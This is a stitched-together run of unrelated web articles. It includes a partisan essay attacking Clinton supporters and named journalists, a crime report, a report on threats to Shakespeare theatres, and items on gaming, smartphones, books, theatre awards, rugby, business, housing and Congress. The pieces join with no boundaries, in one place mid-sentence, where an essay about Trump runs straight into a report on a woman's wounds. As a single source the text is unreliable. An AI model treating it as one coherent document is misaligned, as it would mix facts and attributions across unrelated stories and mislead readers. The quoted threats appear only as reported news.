But that’s not the reality. The reality is that in mainstream media, social media, and—anecdotally—everyday life, Clinton supporters are furious at Bernie Sanders. Instead of viewing his platform tactics as the logical moves of a true progressive trying to claim whatever turf he can before the convention, they’ve painted him as a sore loser whose ongoing struggles are both audacious, presumptuous, and arrogant. In their minds, he should fall in line with Clinton completely, as Elizabeth Warren has, and unite the party against the dangerous Donald Trump.
We’ll look into why this is the case in a second, but first, a few examples, most of which come from the usual mainstream foot soldiers of the Clinton propaganda machine. Let’s start with Joan Walsh, writing in The Nation, who quotes Sanders surrogate Keith Ellison at length, explaining the logic behind the battle, but still concludes:
There are also risks to waiting too long. Senator Elizabeth Warren has already emerged as a Sanders stand-in, and she’s doing a great job. Meanwhile, if Clinton is forced to court “Never Trump” Republicans because Sanders delivers a late or halfhearted endorsement, he and his backers will lose some influence politically. There are many Republicans available to Clinton, particularly women, if she decides that’s her best audience. As one Clinton supporter close to the platform negotiations told me: “It’s really up to him: He can determine if she does this with a progressive mandate, one that she has to be loyal to. But if his voters snub her, and she has to go to anti-Trump Republicans to get to 51 percent, they’ll have much less leverage.”
Walsh’s argument is that if her hand is forced, Clinton could simply find more moderate Republicans that would make up for her missing progressives, which is so far beyond ludicrous that it betrays a complete ignorance of American politics, not to mention Clinton’s standing among Republicans. The notion that they’d swoop to her side, much less in totals that come even close to matching actual leftist Democrats, shouldn’t even be entertained as “optimistic.”
Next comes our old friend Jonathan Capehart, a man with the journalistic integrity of a cardboard thimble, to make the bold point that Sanders lost the campaign and should just shut up and fall in line:
If anyone ought to “stand up, be bolder than you have been” it’s Sanders. He lost the race for the nomination. And he won platform planks from a party he views with contempt. So, “stand up, be bolder than you have been,” Sen. Sanders. Endorse Clinton already and exit the race.
Yes, how bold it would be to give up! Imagine his courage if he had never run, or, better yet, if he had just started accepting lobbyist money in the early ‘90s when he first entered the House. And if we’re being honest, if the guy had any balls he would have joined the Young Republicans at the University of Chicago. Why is Bernie such a coward?
Chris Cilizza, bloodless proprietor of “The Fix,” called Bernie “amazingly condescending” and echoed Capehart’s puzzlement about why he keeps fighting:
What he’s saying — if you read between the lines — is that the ball is in Clinton’s court when it comes to winning his endorsement. Not only does he think she needs to come to him, but he also believes she still has to prove that she is “prepared to stand with them [the American people], as they work longer hours for low wages, as they cannot afford health care, as their kids can’t afford to go to college.”
Now seems like a good time to revisit the fact that Clinton has already effectively won the Democratic nomination over Sanders, not the other way around. It’s good to remind yourself of that fact because from reading Sanders’s quote above, you would assume he won.
Uhhh…no, you wouldn’t. He obviously has enough influence from his primary loss to have a say in the platform, and he has the respect of enough voters that Clinton feels obligated to listen. She does have to prove herself to him, unless she believes that she doesn’t need those voters. Which, hell, she may not. Maybe she can win without them, or maybe they’ll come to her side without Bernie’s endorsement. But until she feels safe without them, he has power. Whether the Clintonites like it or not.
Finally, we turn to Jamelle Bouie of Slate, who argues that somehow Bernie would have had more influence by immediately endorsing Hillary, and uses one poll as his evidence:
Maybe this was inevitable. Maybe Sanders was never going to have the full stamp he clamored for simply on account of having lost. But this underplays the initial strength of his hand. Had Sanders endorsed Clinton at the end of the primaries and recalibrated as an advocate for her campaign—in short, had he mimicked Warren—he would have gotten ahead of his voters. This is important. With an early concession and endorsement, Sanders does two things: He pre-empts any natural movement to Clinton among Democratic primary voters, which lets him claim credit for her improved numbers even if they were inevitable. Like Warren, he would take a starring role in the campaign against Trump.
This is nonsense for a few reasons. First, endorsing Clinton immediately would have both undercut his negotiating power and alienated his ardent supporters, who will need time to come around. The process needs to be organic, and whether Bouie wants to admit it or not, an immediate endorsement would have turned Sanders into a shiny trophy with no real influence, and diminished him in the eyes of progressives. Second, Warren has actually damaged her reputation among progressives by jumping on board the Clinton train so early, even if it helps her future prospects. The people that love seeing her and Clinton together are Clinton supporters, not Sanders supporters. Third, Bernie can be a star in the Clinton campaign any old time he wants—you think she’s going to turn him down when he finally gives his endorsement? That’s absurd—he was, is, and will remain the Clinton camp’s top prize.
Now, getting past the mainstream media minds, there’s the widespread anger among her supporters on social media, the lesser blogs, and IRL at Bernie’s actions. They use the same arguments—why can’t the arrogant loser accept that he lost?—and fail to understand how he’s maximizing his leverage while he’s still got it, which won’t be for long. They also fail to understand that the slow negotiations actually make it more likely that his supporters will come around, since he’s creating the perception that Clinton has to “earn” his vote. Progressives trust Bernie, and when he eventually gives the nod, it will carry far more weight than if he had thrown in the towel without fighting to the bitter end.
Deep down, I suspect that Clinton’s supporters understand all this. So what’s actually making them mad? Let’s lay it out in ten easy steps:
1. Many of Clinton’s supporters were politically progressive before this election, and would have been quite happy with a presidential candidate like Elizabeth Warren. Happier, actually, because she embodied their beliefs—especially in the economic realm—in a way that Clinton did not. It’s the self-identified progressives, as opposed to the actual centrists, who are displaying the most anger today.
2. These progressive voters seized on Clinton’s candidacy based largely on identity politics. They wanted a female president, and the emergence of Sanders’ candidacy was a complicating nuisance, coming after they’d committed ideologically.
3. At the same time, they didn’t want to believe that they were supporting a war hawk and a fiscal conservative, because that ran against their progressive ideals. Life was better when Clinton was the only viable non-Republican option, because they didn’t have to explain themselves.
4. On some level, they recognized that their politics were more closely aligned with Bernie. Nevertheless, identity politics kept them in Clinton’s camp.
5. In order to erase the cognitive dissonance and justify their support to themselves, they employed several strategies, like falsely attributing widespread sexism to Sanders supporters, and trying to paint them as exclusively male in an attempt to efface the vast majority of young women and people of color who backed him. If Bernie and all his people were covert misogynists, then their progressivism was phony, and it was okay to support Hillary. It also erased the need to discuss real issues—a convenient out, since Hillary’s political history doesn’t stack up well from a progressive standpoint.
6. By muddying the waters, they could convince themselves that in reality, there wasn’t much policy difference between the two.
7. Adding Elizabeth Warren as an ally made them feel good, because it reinforced that idea—if a true progressive is supporting our candidate, it must be okay.
8. After Clinton won, and Bernie began to fight for the platform, the cognitive dissonance began to rear its ugly head once again. A look at the finer points revealed the truth mentioned above—that if you support Clinton, you’re also on the side of fracking, free trade, carbon pollution, increased fossil fuel drilling, non-universal health care, and a frozen minimum wage. Again, this had the potential to make them question their progressive bona fides.
9. They didn’t want to feel like political centrists, much less fiscal, environmental, and foreign policy conservatives, so yet again, they had to drum up anger against Sanders. Sexism wouldn’t work this time, so the narrative shifted—Bernie is arrogant, Bernie is presumptuous, Bernie should just shut up and pretend everything is hunky-dory.
10. In this way, their self-conception is preserved, and the narrative is once again shifted away from actual policy. The dominant discussion is not whether fracking is a good thing that should go on indefinitely, but whether Bernie Sanders is hurting the country and the party by being a stick in the mud.
It’s a pretty impressive act of self-delusion. This is how certain progressives, faced with a real chance to change the country, have betrayed their own politics—and in many cases, their own generation—and handed the presidential election to neoliberals that will inevitably disappoint them. The only way to avoid looking in the mirror, it turns out, is to remain in a state of vigilant anger against anyone who threatens your feeble, contradictory belief system. In this way, they have more in common with Trump’s supporters than they’d ever like to admit.Donald Trump would win by a landslide if American teenagers got to |
believe gashes to Lindemann's body were self inflicted.
"There was penetration all the way down to the bone in some areas," said Jones.
Sunday, a Hartman farmer shot and killed 2 vicious pitbull dogs approximately 2 miles from where Lindemann was found, according to Jones.
"We got a call from an individual that lives there on Main Street in Hartman that reported his horse had been killed by 2 pitbull's," Jones said it's too soon to tell if the incidents are related.
Jones told 40/29 News Lindemann's sister left for work around 8 a.m. and then returned at approximately 4 p.m. and found her sister outside their home.
Jones said the medical examiner determined that Lindemann had been deceased approximately 4-6 hours before her body was discovered.
Deputies had believed it was possible that Lindemann wad been attacked by an animal. However, Sheriff Jones told 40/29 they did not locate any vicious dogs or wild animals in the area. The crime lab's report did not mention animals.
AlertMeImage copyright Getty Images Image caption The Shakespeare play Julius Caesar is based on historical events; this bust is at the Pinacotheque in Paris
Several theatres in the US have received threats and complaints after a show in New York depicted the assassination of a Julius Caesar made to look like President Donald Trump.
Messages wished death upon theatre staff at unrelated establishments in an apparent mix-up.
It appears complainers did not check which theatre they were angry about.
The title character in Shakespeare's play Julius Caesar, written in 1599, is stabbed to death by Roman senators.
The play draws on the real-life assassination of Julius Caesar, 2,061 years ago.
In a version of the classic play running at the Public Theater in New York for the past month, the title role was played by a man in a suit with a red tie and orange-tinted blond hair.
Anger over the decision led several sponsors to remove their funding and hecklers disrupted performances on more than one night.
Trump-like Julius Caesar loses backing
Donald Trump Jr tweeted about it, asking: "Serious question, when does 'art' become political speech & does that change things?"
Although the show's run has now ended, protesters have been getting in touch with theatres with Shakespeare in the name to voice their disgust.
Shakespeare Dallas, in Texas, has had 90 emails, while Shakespeare & Company in Massachusetts has had nearly 50, plus about 10 angry phone calls.
"It's a case of mistaken identity," said Raphael Parry, the artistic director at Shakespeare Dallas.
"If you don't want to see political commentary, don't go see it," he said.
"Don't blast everyone who's in theatre or the arts. It's unbelievable. It's shocking. People need to do their research before they blast off."
He and his staff have received emails including "I hope you die and so do your family" and "You truly are a bunch of freaks... We should send all you freaks to ISIS. They would eliminate your stench on this earth with real knives."
Shakespeare & Company shared some of the messages with the BBC. (Some have been edited to remove swearing.) They included:
"Your play depicting the murder of our President is nothing but pure hatred. You are vial [sic] despicable excuses for human beings. I wish you all the worst possible life you could have and hope you all get sick and die."
"Hope you all who did this play about Trump are the first to die when ISIS COMES TO YOU... scumbags."
"What exactly were you idiots thinking about producing a play that depicts the killing of our President? Does anyone over there have an ounce of morality, decency, and or common sense? Your organization is a disgrace to the community and to the arts. If you have a problem with the president protest, as is your constitutional right or just vote him out. I will do my best to ensure taxpayers' dollars are not used in the future to fund your disrespect and stupidity!"
The Public Theater released a statement thanking "the 46,000 enthusiastic audience members and countless supporters around the globe during our run of Julius Caesar".It’s time to even out the score! JDCR & Saint will be returning to Peru for Collision 2017!
The Tekken scene may be heavily dominated by Japanese and Korean players, but there are legends that are born in the other parts of the world as well.
Every Tekken player has probably heard the stories that speak of the mighty defenders of the Peru Tekken community. In 2015, top Korean tekken player JDCR was invited to Peru for a tournament but was unfortunately denied the top spot by local players Sapito and Abel del Maestro. JDCR later released a statement about his Peru trip saying that the competing conditions at the time were very unfavorable. He had complaints about the way he was treated during his stay as well as the quality of the tournament itself which made the event highly controversial in the international Tekken community. A year later however, another top Korean Tekken player Saint was invited to Peru for Collision 2016 and was met with the same fate against local player Sapito.
This year, they’re coming back for revenge. Saint and JDCR will be attending Collision 2017 on February 18-19. The event will be the biggest Tekken event yet in their region and will feature three Tekken games: Tekken Tag Tournament 1, Tekken Tag Tournament 2, and Tekken 7. Tekken series producers Katsuhiro Harada and Michael Murray will be attending the event along with Tekken community manager Mark Julio.
Live stream links to be updated soon. Be sure not to miss this epic event!
http://www.unifiltekken.com/itourney/top-korean-tekken-players-jdcr-saint-returns-to-peru-for-collision-2017/ http://www.unifiltekken.com/wp-content/uploads/2017/02/Tekken-Collision-1024x770.jpg http://www.unifiltekken.com/wp-content/uploads/2017/02/Tekken-Collision-150x150.jpg Foreign Tourney Collision 2017,JDCR,Saint,Tekken 7,Tekken Tag Tournament 1,Tekken Tag Tournament 2 It's time to even out the score! JDCR & Saint will be returning to Peru for Collision 2017! The Tekken scene may be heavily dominated by Japanese and Korean players, but there are legends that are born in the other parts of the world as well. Every Tekken player has probably... porukun Paul Gabriel Fuentes porukun052594@gmail.com Author Competitive Tekken player and Tekken news writer for Unifiltekken and eSports Inquirer. Wishes he had a better rig and more money for the recently released games.
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commentsWe have already reported the news about Samsung supplying display panels for Apple. The new report points to the collaboration of Samsung and another rival, Sony.
Ever since the Note 7 crisis, the company became more careful about the batteries on their smartphones. That’s why they have made deals with two companies.
Today, we are going to have a look at the latest news of Samsung-Sony collaboration to make a non-exploding Galaxy S8.
Samsung to Get Batteries from Sony for S8
We are all familiar with the Note 7 explosion. Samsung not only faced financial loss but they happened to sacrifice their reputation as well. The Note 7 has become an epic fail ever happened in the history of Samsung when the returned units also exploded.
So, the company returned all the units and halted the sale of the much-anticipated smartphone of 2016 to avoid risks and more explosion news.
For the same reason, Samsung turned more careful about the battery of their upcoming smartphone series; S8. Until now, reports say they have made deals with three companies; Samsung SDI Co., Sony, and Amperex.
The company is all set to launch their latest smartphone at the Mobile World Congress, held in Barcelona. The collaboration with Sony will definitely increase the trust among customers and it will send out a hint that Samsung seriously took the battery issue.
Also Read:- Samsung Galaxy S8 may be the first smartphone to come with Bluetooth v5
Sony is already supplying camera equipment for iPhone. Not many know that Sony is one of the core reasons behind the much celebrated iPhone camera.
There were many rumors and leaks came out about the upcoming Samsung Galaxy S8. The smartphone will sport Snapdragon 835. And, there will be two versions; S8 and S8 Plus. The first version reportedly sports a 5.8-inch display with a 3000 mAh battery whereas S8 Plus will have 6.2-inch dual-edged display with 3500 mAh battery.
The best thing about S8 is we will most probably see a digital assistant on it. The speculations suggest that the name of AI would be Bixby reminder. There will be two different variants; 4 GB RAM and 64 GB storage, and 6 GB RAM and 128 GB storage.
The images came out as S8 doesn’t contain a hardware fingerprint sensor. It may be a confirmation about the device having an iris scanner.
Every spec looks good. Along with all, Samsung managed to seal the battery deal with Sony. We are eager to see S8 hit the market, are you?“Trigger Warning” is a collection of 24 pieces of short fiction and poetry written by Neil Gaiman. If you know what a trigger warning is (I had to look it up) you may be thinking this collection is darker, edgier, and/or more risque than it really is. (For those who don’t want to look it up, a “trigger warning” is a blurb that intimates that a work has words or images that may induce a traumatic reaction.) However, these stories are Gaiman to the core, which means they are humorous, clever, and often quirky; but they are unlikely to throw one into catatonia or an apoplectic fit. The pieces include Sherlock Holmes and Doctor Who stories, spin-offs from Sleeping Beauty and American Gods, as well as a few homages to other authors, including Ray Bradbury, Gene Wolfe, and William Blake.
Without further ado, I’ll give a rundown of the included works:
1.) “Making a Chair”: This is a poem about writer’s block.
2.) “A Lunar Labyrinth”: An homage to Gene Wolfe’s work, “Solar Labyrinth.” This short story is about a maze that was destroyed, and that wasn’t to be walked on full moon nights.
3.) “The Thing About Cassandra”: This is among my favorite stories in the collection. What happens when your friends and family start bumping into the girl who you made up as a girlfriend back in school?
4.) “Down to a Sunless Sea”: This was written for a water-themed event. It’s about a person riding in a lifeboat down the Thames toward the sea.
5.) “The Truth is a Cave in the Black Mountains”: This one was inspired by an island off Scotland called Skye, but the story is fantasy with magic elements. A man strikes out in search of revenge and closing, regarding a daughter who he thought had run away. This is one of the most engaging pieces in the collection.
6.) “My Last Landlady”: This is a story, conveyed in poetic form, about a mean landlady.
7.) “Adventure Story”: In the Introduction, Gaiman calls this a companion piece to his novella “The Ocean at the End of the Lane.” However, I didn’t make that connection, (and I’ve read that story.) At any rate, it’s a great story about an intriguing artifact left behind by a [deceased] father whose stories were always painfully dull. It’s told by a mother to a son who is incredulous that his, seemingly milquetoast, father lived through such a fascinating event.
8.) “Orange”: Like several of the pieces in this book, this one is unconventional / experimental. However, it’s creative, and it works. It consists of answers to a questionnaire, from which the reader pieces together the story. One doesn’t have the questions, but most of them are fairly clear from the context of the answer.
9.) “Calendar of Tales”: This is what it sounds like, 12 stories each matched to a month. It’s another of the unconventional and unusual pieces. Each story was spun from a tweet response to a question about a given month of the year.
10.) “The Case of Death and Honey”: Few characters in the public domain have spurred as many offshoot stories as Sherlock Holmes, and this is Gaiman’s entry in the pool. Holmes’s interest in bee-keeping is central to the story.
11.) “The Man Who Forgot Ray Bradbury”: An homage to Bradbury. If one forgets a person, did they ever exist?
12.) “Jerusalem”: This work was influenced both by a poem by William Blake and a trip the author took to said city. The story is about a couple of tourists and the unique mental illness associated with this locale.
13.) “Click-Clack the Rattlebag”: A scary bedtime story told by a child about a different kind of monster.
14.) “An Invocation of Incuriosity”: A story about one of the strange and colorful people one might meet at a flea market.
15.) “’And Weep, Like Alexander’”: A light-hearted story about an “un-inventor,” one who keeps you from having flying cars and all the other promised technology from sci-fi.
16.) “Nothing O’Clock”: This is a “Doctor Who” story. It’s not necessary to be familiar with the series (necessary backstory is provided), but it could make it more appealing—i.e. the inside joke effect.
17.) “Diamonds and Pearls: A Fairy Tale”: This is from “Who Killed Amanda Palmer?” Palmer is a cabaret-punk singer/songwriter and Gaiman’s wife, and the aforementioned booklet consists of a series of photos of Palmer looking deceased with brief stories to go along. This is one of the stories that could stand alone. It’s a fairy tale of the adults-only variety.
18.) “The Return of the Thin White Duke”: Another fairy tale, this one about a Duke that strikes out on a quest for adventure in order to rescue a Queen who doesn’t need rescuing.
19.) “Feminine Endings”: A story about a human statue—by that I mean one of those people who deck themselves out and stand on a box in the town square in touristy places in many parts of the world.
20.) “Observing the Formalities”: A poem about one who doesn’t get invited.
21.) “The Sleeper and the Spindle”: A take on the story of “Sleeping Beauty,” but from a different point of view.
22.) “Witch Work”: This is another poem. I believe it’s the only one that’s not free verse. It’s about the life of a witch.
23.) “In Relig Odhrain”: This is a true story about a saint, written in free verse.
24.) “Black Dog”: This is a spin-off from the novel “American Gods” and it features that book’s protagonist, Shadow. You don’t need to have read that book, but you might have a greater affinity for the story if you have. It should also be noted that this is the one piece that is original to this collection, and it’s one of the most substantial pieces in the collection. i.e. it gives fans a reason to pick up the book even if they’ve read a lot of it from the original source.
I enjoyed this book. Gaiman is a masterful story teller. Whether it’s one of conventional pieces based in established worlds (e.g. “Doctor Who” or that of Sherlock Holmes) or one of the off-the-wall, experimental pieces, these stories and poems are a pleasure to read.BRANTLEY I’d be happy if either “Doll’s House” or “Oslo” won. “Doll’s House” is more adventurous, but the scale of “Oslo” is impressive, as is its ability to disseminate such intricate details of foreign policy without turning snoozy.
GREEN “Oslo” is also, all things considered, a feel-good show, even if history has disproved its optimism. Voters, like humans generally, often prefer that to an ambiguous ending.
The April rush to the Tonys deadline was especially intense this year and I’m sure both of you were bleary-eyed at the end (as were the Tony nominators). “Doll’s House” was the last show to open and got a lot of love. Did its arrival after a bunch of musicals help its cause?
BRANTLEY Well, I think it had the advantage of serving as a genuine stimulant after a couple of sleeping-pill shows (no names, “Anastasia” and “Charlie”). And what an upper to end on. Also, how great to see Laurie Metcalf in a part she can run (and I hope win) with.
Let’s talk musicals. Are there any sure things?
GREEN There are many sure things, or if not sure then sure enough. “Dear Evan Hansen,” which received nine nominations, will likely win two of the biggest: Best Musical and Leading Actor for Ben Platt. “Hello, Dolly!” which received 10, will very likely win Best Musical Revival and Leading Actress for Bette Midler. This even though “Natasha, Pierre & the Great Comet of 1812” got more nominations than either, with 12.
BRANTLEY Two months ago, I would have said “Evan Hansen” had a lock. But there’s a lot of sentimental (and political) steam around “Come From Away.” And Andy Karl, valiant trouper in a knee brace that he is, may get a lot of come-from-behind love. “Dolly” and the woman playing her are worth betting the farm (or the Harmonia Gardens) on.
GREEN Sentimental is right, regarding “Come From Away,” but you and I disagreed strongly about that show. I felt that it was little more than an evening of Canadian civic boosterism. I would be disappointed if it prevailed over a truly complicated — morally complicated, I mean — piece like “Evan Hansen.” But stranger things have happened.Image copyright AP Image caption Thousands of people attended the Radio 1 Big Weekend in Derry last year.
A concert organised by MTV will be held in Londonderry in September, it has been confirmed.
MTV Crashes will take place in Ebrington Square between 19 to 21 September, with 10,000 people expected to attend.
A number of other events will be held across the city during the weekend.
Tickets for the concert will be made available on 9 August. It has yet to be confirmed who will perform at the event.
The concert will be broadcast across MTV's UK music channels and subsequently on its European music channels in October.
Previous MTV Crashes concerts have taken place in Belfast, Manchester and Glasgow.
On 15 July, Plymouth hosted the MTV Crashes series, which featured performances from Kaiser Chiefs, Example and The 1975.
Rumours about the event first surfaced in early June, when it was reported that Derry City Council had made a "significant investment" to bring the event to the city.
Last year, the city hosted the Radio 1 Big Weekend.
Acts like Calvin Harris, Biffy Clyro, Bruno Mars and Rita Ora performed as part of Derry's year as the UK City of Culture.
'Huge coup'
Kerry Taylor, senior vice-president and general manager of MTV UK, said: "With one Crashes event already under our belt, we are delighted to be announcing details of our second.
"Londonderry is a fantastic city - steeped in history and named as 2013's City of Culture, so we can't wait to crash it."
Mayor Brenda Stevenson said the event was a "huge coup" for the city and that the event would be "one of the music parties of the year".
"It promises to be a fantastic opportunity for us to showcase our city to a national and international audience.
"With a full weekend of activity, there will be music to suit all age groups."
Philip Flynn, chairman of Derry's urban regeneration company Ilex, said: "We are delighted to work with MTV, Derry City Council and the Northern Ireland Tourist Board to bring yet another high profile event to the city, building on the success of Ebrington Square."
The concert will not be the first time MTV has staged events in Northern Ireland.
In 2010, Mark Ronson performed a free concert in Belfast as part of what would become the MTV Crashes series.
The MTV European Music Awards were held in Belfast in 2011 and attracted acts like Lady Gaga and Beyonce.
They also staged a follow-up concert in the Titanic Slipways that was headlined by Olly Murs.Tyrel Lomax is officially more likely to become an All Black than a Wallaby, signing with the Highlanders for two years.
Lomax was well and truly on Michael Cheika’s radar, included in the Wallabies’ Canberra camp in April, amid an impressive Super Rugby season.
The 21-year-old was a standout in last year’s World U20s Championships, named the Australian U20s player of the year, before signing with the Rebels.
His promise has clearly been noticed across the ditch, with the Otago franchise locking Lomax in from 2019, with the prop still contracted to the Rebels for 2018.
Lomax said the opportunity to play for a Kiwi Super Rugby team, who have dominated all and sundry in the past two seasons, was impossible to ignore.
“I grew up in NZ and as an aspiring rugby player the chance to play for a NZ Super Rugby club was too good an opportunity to turn down,” he said.
“As a young prop I can’t wait to get to the Highlanders, they have an awesome culture there and I just want to immerse myself in it and learn as much as possible.”
Highlanders CEO Roger Clark said Lomax had impressed him in their negotiations.
“Throughout our dealings with Tyrel he has shown himself to be a mature young man with a real determination to learn and improve, he has a real desire to go as far as he can in the game,” he said.
“He will fit in well at the Highlanders and we would like to think this is just the start for Tyrel, we believe he has a very bright future in front of him”.
Born in New Zealand, Lomax would be immediately eligible to play for New Zealand despite his U20s stint.ABC Action News reporter Sarina Fazan got to interview Hillary Clinton in Tampa, Florida, on Wednesday, and she did not squander the opportunity to make everyone uncomfortable.
At about minute three in the video above, Fazan turns away from talks about terrorists with this segue, “Last week you were remembering 9/11. I want to talk about your health for a moment.”
She goes on, “I know you provided documents saying that you are fit to serve as president of the United States,” BUT “would you be willing to take some neuro-cognitive tests.” Hillary laughs like she’s delighted by this inquiry and says:
“I am very sorry I got pneumonia... I am very glad that antibiotics took care of it and that’s behind us now. I have met the standard that everybody running for president has met in terms of releasing information about my health. I have to say my opponent has not met that standard.”
She added, “The information is very clear, and the information, as I said, meets the standards that every other person running for president has ever had to meet.”Few things are more heartwarming than bearing witness to one human being expressing deep gratitude for the profound, course-altering impact another has played in her or his life. Take, for instance, Bukowski’s magnificent letter to the man who helped him quit his soul-sucking day job and become a full-time writer. Indeed, creative culture is strewn with the graciousness and help of unsung bolsterers.
One of the most beautiful examples of such heartening gratitude comes from Albert Camus (November 7, 1913–January 4, 1960), a man who had a gift for unlikely friendships and who dedicated his life to learning how to live meaningfully and discerning the meaning of happiness and love.
When Camus was less than a year old, his father was killed on the battlefield of WWI. He and his older brother were raised by their illiterate, nearly deaf mother and a despotic grandmother, with hardly any prospects for a bright future. In a testament to what happens when education lives up to its highest potential to ennoble the human spirit, a teacher named Louis Germaine saw in young Albert something special and undertook the task of conjuring cohesion and purpose out of the boy — the task of any great mentor. Under his teacher’s wing, Camus came to transcend the dismal cards he had been dealt and began blossoming into his future genius.
Three decades later, Camus became the second youngest person to receive the Nobel Prize, awarded to him for the “clear-sighted earnestness” of his work, which “illuminates the problems of the human conscience.” On November 19, 1957 — mere days after receiving humanity’s highest accolade — Camus recognized the impact of his former teacher with such “clear-sighted earnestness” in a spectacular letter, included in the last pages of Camus’s The First Man (public library), translated by David Hapgood.
19 November 1957 Dear Monsieur Germain, I let the commotion around me these days subside a bit before speaking to you from the bottom of my heart. I have just been given far too great an honor, one I neither sought nor solicited. But when I heard the news, my first thought, after my mother, was of you. Without you, without the affectionate hand you extended to the small poor child that I was, without your teaching and example, none of all this would have happened. I don’t make too much of this sort of honor. But at least it gives me the opportunity to tell you what you have been and still are for me, and to assure you that your efforts, your work, and the generous heart you put into it still live in one of your little schoolboys who, despite the years, has never stopped being your grateful pupil. I embrace you with all my heart. Albert Camus
Complement with Camus on why happiness is our moral obligation and happiness, unhappiness, and our self-imposed prisons, then revisit this spectacular illustrated celebration of the little-known champions behind creative geniuses.
HT Letters of NoteAn investment in Paramount's 'Mission: Impossible — Rogue Nation' contributed $10.6 million in revenue and boosted the company's profit by $1.1 million.
Boosted by the financial gains from a stock offering, Alibaba Pictures Group bounced back and ended up in the black in 2015.
On Tuesday, the Beijing-based studio, which is the film subsidiary of Jack's Ma's e-commerce giant Alibaba Group, reported a full-year profit of $71.7 million (RMB466 million), compared with a $64.1 million loss in 2014.
APG's operating loss actually widened slightly in 2015, but one-time gains, including from the share issuance with net proceeds of $1.5 billion (HK$12.1 billion), led it to a net profit.
Revenue for 2015 came in at $40.6 million, a year-over-year increase of 108.3 percent, helped by acquisitions.
APG attributed much of its revenue gains to its $134 million acquisition of Yueke, one of the largest suppliers of cinema ticketing systems in China. The company said it expects Yueke to continue to be a strong revenue generator, given the growth trajectory of China's national box office, which expanded at a rate of over 50 percent in the first two months of this year.
Other assets acquired by APG in 2015 include Tabao Movie, a mobile ticketing service, and Yulebao, an innovative crowdsourcing platform for financing of entertainment projects. In a lengthy interview with THR in November, AGP's president, Zhang Wei, detailed her vision for integrating the company's various digital assets into the movie development, production and distribution process.
APG's investment in Paramount's Mission: Impossible — Rogue Nation contributed $10.6 million in revenue and boosted profit by $1.1 million in 2015. APG served as the picture's official promotional partner in China, where the film grossed $136 million, setting a new record for an imported 2D release.
The Alibaba unit has yet to release a film of its own, but a raft of projects are shooting or in development, including Ferry Man, from producer Wong Kar Wai and starring Tony Leung; Ao Jiao Yu Pian Jian, an adaptation of a hit online novel; and Three Lives Three Worlds Ten Miles of Peach Blossom, also based on a popular local book. In TV, the studio is readying an animated drama, Return of The Pearl Princess, to be directed by the in-demand actress-turned-filmmaker Vicki Zhao.
The company's shares are listed on the Hong Kong Stock Exchange.See the transforming New York apartment that fits eight rooms into just 420 square feet
Unless you're a very wealthy person, living in New York City means cramped apartments.
That is before entrepreneur Graham Hill came up with a way to fit eight rooms into just 420 square feet.
Hill, founder of treehugger.com,. wanted to find a way to have an apartment where the environmental impact would be small as the space it takes up without sacrificing livability.
Scroll down for video
Sleep tight: Mr Hill's custom-built bed tucks into the wall of his tiny apartment in Soho. This room also serves as a dining and living area - the abode is currently on sale for just under $1million
Dining: With the bed tucked away, Hill has enough space to expand his dining room table, which seats 12
Entertainer: The minimalist kitchen has just 12 bowls that are shallow enough to also serve as plates
Hill has taken a SoHo studio apartment and, as part of his Life Edited project, has made it a space packed with hidden furniture and moveable walls to create the perfect room for whatever you need.
Pull down the living room and office bookshelf and you'll find a bed, transforming the space into your living room.
Collapsable: Hill demonstrates how he pulls out his retractable table, which fits neatly out of sight in the kitchen
Easy access: Hill pulls his wall out, demonstrating how he creates a guest room that can sleep two
New ideas: Hill believes so strongly in his new way of life that he's working on constructing apartment buildings with tiny residences that resemble his
Storage: The sparse layout hides all the cabinets and drawers hidden in the apartment to keep down clutter
Need to entertain guest? 10 stackable chairs are ready in one of the closets, easy to place around a telescopic dining table for large dinner parties.
And if one of your guests should need to stay the night simply move the living room wall to expose a guest room complete with closet space and retractable bunk beds.
Slumber party: Hill's friends can stay for the night when he pops out the retractable bunk beds
Stacked: Hill's dozen dining chairs stack neatly in his ample closet space
Home entertainment: Instead of a flat-screen TV, Hill uses a projector and pull-down screen to watch TV
That's not even counting the kitchen space or the bathroom.
Some have commented that while the project makes great use of a small, affordable space, the accessories necessary to make the renovation work could easily run into the six figures, making such an update out-of-reach for many studio dwellers for now.
VIDEO INSIDE the amazing transforming apartment
GIZMODO - The Tiny Transforming Apartment That Packs Eight Rooms into 350 Square Feet from Gizmodo on Vimeo.A side-scrolling, cartoon-like 2D action-platformer that takes place in a world populated by animals. That's where the similarities to Dust: An Elysian Tail end—here, the world is like the Wild West, the story is about revenge, and there's guns. Lots of guns.
Dusty Revenge follows Dusty, an anthropomorphized rabbit, on his quest to take revenge on the one who murdered his love. This quest, incidentally, takes him across several hand-drawn locations and has him viciously massacre hundreds of baddies with the help of his two esteemed colleagues, Rondel the heavy arms specialist and McCoy the sniper. Here's developer PD Studio's features list:
Intense story: Consumed for revenge after the love of his life is killed, Dusty crosses paths with 2 unlikely allies who are each seeking out the same enemy for a different reason. As the three set out to destroy the responsible band of villains and anyone else that stands in their way, they unravel a scheme much bigger than their personal vendettas. 3 unique characters with their own weapons and mechanics: Play as Dusty, a vicious multi gun wielding madman that boasts intense melee attacks. Players can also call upon two support characters, Rondel the artillery support who tramples enemies with a massive arsenal of weaponry and beastly rocket launchers, and McCoy the sharpshooter who takes down loads of enemies stealthily with his deadly accurate rifle. 9 Gorgeously drawn environments: Venture through cavernous wastelands, western ghost towns and deadly jungle environments in your quest for blood. You never know what to expect from the each of the unique and precarious worlds! Hordes of menacing villains: A whole slew of enemies are out there ready to kill. From aggressive predatory vermin, vicious stalking felines, venomous mechanical snakes and giant armored gorillas, all run by the enigmatic leader Craven.
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If all that sounds good to you and you even like the trailer up top, know that Dusty Revenge is out now on PC for both Windows and Mac. Currently, it can be grabbed for a tenner at either the developer's own storefront or on Desura.
Dusty Revenge [Official Site]Republicans delivered Tuesday on their “Day One” promise to start repealing ObamaCare at the start of the 115th Congress, introducing a resolution to dismantle the 2010 health care law.
“Today, we take the first steps to repair the nation’s broken health care system, removing Washington from the equation and putting control back where it belongs: with patients, their families and their doctors,” said Wyoming GOP Sen. Mike Enzi, chairman of the Senate Budget Committee.
Enzi and other leaders of the Republican-controlled Congress are relying on a parliamentary maneuver known as “budget reconciliation” to dismantle the law because it avoids a Senate Democrat filibuster and requires only a 51-vote majority for passage in the chamber, not the 60-vote majority.
Republicans have a 52-to-48 member majority in the Senate and a 241-to-194 majority in the House, which requires only a simple majority for passage.
The GOP can use the reconciliation tactic because federally-subsidized ObamaCare directly impacts the federal budget. (And congressional Democrats used the same tactic in 2009 to complete passage of the law, officially known as the Affordable Care Act.)
